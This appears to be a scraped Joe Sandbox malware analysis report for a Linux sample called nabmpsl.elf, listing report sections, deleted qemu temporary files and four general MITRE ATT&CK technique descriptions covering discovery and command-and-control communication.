Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0IVNR0 (deleted)

/tmp/qemu-open.0KTfNY (deleted)

/tmp/qemu-open.2H3RMZ (deleted)

/tmp/qemu-open.2OWc1Z (deleted)

/tmp/qemu-open.2zjjvX (deleted)

/tmp/qemu-open.33t3wW (deleted)

/tmp/qemu-open.4BOJ6Y (deleted)

/tmp/qemu-open.5BkDcX (deleted)

/tmp/qemu-open.7lEkBY (deleted)

/tmp/qemu-open.80KQKY (deleted)

/tmp/qemu-open.8FU0IY (deleted)

/tmp/qemu-open.8tNG6Y (deleted)

/tmp/qemu-open.9C4cFW (deleted)

/tmp/qemu-open.9c4n7Y (deleted)

/tmp/qemu-open.A20I2Y (deleted)

/tmp/qemu-open.AMoUE0 (deleted)

/tmp/qemu-open.CGZbLZ (deleted)

/tmp/qemu-open.DlE4QY (deleted)

/tmp/qemu-open.F6Ghf0 (deleted)

/tmp/qemu-open.GPeRQY (deleted)

/tmp/qemu-open.IeubVZ (deleted)

/tmp/qemu-open.IzEUu0 (deleted)

/tmp/qemu-open.JRcmDX (deleted)

/tmp/qemu-open.JycoH0 (deleted)

/tmp/qemu-open.KDYgz0 (deleted)

/tmp/qemu-open.Kcn70Z (deleted)

/tmp/qemu-open.Lok0d0 (deleted)

/tmp/qemu-open.MUpSu0 (deleted)

/tmp/qemu-open.MvIh7Z (deleted)

/tmp/qemu-open.PapBnW (deleted)

/tmp/qemu-open.Pxk6RY (deleted)

/tmp/qemu-open.QVyv0W (deleted)

/tmp/qemu-open.TgoT8Z (deleted)

/tmp/qemu-open.TrsmmX (deleted)

Linux Analysis Report
nabmpsl.elf

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre